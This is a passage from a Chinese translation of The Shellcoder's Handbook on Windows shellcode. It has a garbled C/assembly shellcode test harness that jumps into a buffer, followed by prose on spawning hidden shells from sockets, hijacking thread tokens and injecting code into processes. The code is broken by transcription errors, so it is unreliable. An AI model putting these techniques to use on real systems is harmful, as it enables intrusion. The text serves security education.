xor %eax,%eax

ret

“);

asm(“

欢迎访问,翻译@。

128

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

endsploit:

//these tags mark the start of our real Shellcode

TAGS:

TAG1:

.long 0x41424344

TAG2:

.long 0x$45464748

CURRENTPLACE:

//where we are currently looking

.long 0x00000000

“);

}

int main()

{

unsigned char buffer[4000];

unsigned char * p;

int i:

unsigned char stage2[500];

//setup stage2 for testing

#ifdef DOPRINT

#define SIZE 127

printf(“#Size in bytes: %dn”,SIZE);

/* gdb ) printf “%dn”, endsploit – mainentrypoint -1 */

printf(“searchshellcode += **);

for (i=0; i

{

printf(“x%2.2x”,*p);

if ((i+1)%8 == 0)

printf(“”nsearchshellcode += ””);

p++;

//getprocaddr();

memcpy(buffer,Shellcode,2400);

p=buffer;

p+=3; /* skip prelude of function */

strcpy(stage2,”HGFE”);

strcat(stage2,”DCBAxccxccxcc”);

#ifdef WIN32

#endif

欢迎访问,翻译@。

129

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

#ifdef DORUN

}

((void(*) () ) (p) ) ();

#endif

}

printf(“”n”);

#endif

7.4 弹出Shell

在Windows里,有两种方法可以从socket得到shell。在Unix里,你可以用dup2()复制标准I/O的文件句柄,然后执行(“/bin/sh”)即可。但在Windows里没这么简单。你可以用WSASocket()代替socket()创建一个socket,把它作为CreateProcess(“”)的输入。然而,如果这个socket是从进程里盗用的,或者不是用WSASocket()创建的,那么你需要用匿名管道把数据向前/后做一些微调。你可能也想过使用popen(),但它在Win32上不能正常工作,除非你重新设计它。重新设计popen()时要记住以下几点:

1. 调用CreateProcessA时需要把继承(inheritance)属性设为1。否则,当你把管道作为标准I/O传给时,派生(spawn)的进程将不能访问它。

2. 在读的时候,你必须关闭父进程里可写的标准输出管道或管道块。你应该在CreateProcessA之后、ReadFile之前读取结果。

3. 为了写入标准输入,读取标准输出,不要忘了用DuplicateHandle()复制一个非继承(non-inheritable)的管道句柄。为了让它们不从继承,你需要关闭继承句柄。

4. 如果你想找,使用GetEnvironmentVariable (“COMSPEC”)。

5. 你可以在CreateProcessA里设置SW_HIDE属性,这将使你在每次运行命令时不弹出窗口。你还需要设置STARTF_USESTDHANDLES和STARTF_USESSHOWWINDOWS标记。

有了以上几点,你会发现写popen()其实也很简单。

7.4.1 为什么不应该在Windows上弹出Shell

Windows 的继承性问题对Unix程序员来说,早已是见怪不怪的麻烦了。事实上,许多Windows程序员也搞不清继承性的原理,其中包括Microsoft自己的程序员。Windows的继承性和access tokens会给破解发现者添加很多麻烦。例如,不提供传输文件的功能,而自定义的Shellcode却可以轻松做到。另外,你可能会放弃访问全部Win32 API,即使它提供了比默认Win32 shell更多的功能。你也可能会用进程的主token替换当前线程的token。在某些情况下,主token是LOCAL/SYSTEM;在其它情况下是IWAN或IUSR,或其它权限较低的用户。

当你用自己的Shellcode传输文件然后执行它时,有些东西可能会从中作梗。你可能会看到派生的进程不能读取并执行它自身—它可能作为完全不同的用户来运行,而不是你预期欢迎访问,翻译@。

130

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

的那样。因此,在原进程里写一个服务,让你可以访问所需要的API。这样的方法可以劫持其它用户的线程token,例如,可以作为其它用户进行读写操作。谁知道那些被标为非继承的当前进程的资源是否可用呢?

如果你曾经想用你模仿的用户派生进程,你必须勇敢面对CreateProcessAsUser()、Windows特权、主token、和一些Win32小技巧。 “为什么Shellcode总不按我的意愿运行呢?”,如果有这样的疑问,用Sysinternals()的process explorer分析token,我们总能从token idiosyncrasy中找到答案。

7.5 结论

在本章中,我们历经了堆溢出的初级、进阶、高级三个阶段。堆溢出比栈溢出要难很多,为了把两者有效结合起来,需要深入理解系统的内部运作机理。如果你的首次尝试没有成功,不要灰心:hacking本来就是反复试验,不断摸索的过程。

如果你希望提高Windows Shellcode的编写技巧,建议你可以尝试通过网络发送DLL,并把它连接到运行的进程中(当然,不需要写到磁盘上);或者动态创建Shellcode并把它注入(inject)正在运行的进程,然后与所需的函数指针连接起来。

欢迎访问,翻译@。

131


本文标签: 函数 需要 进程 代码 访问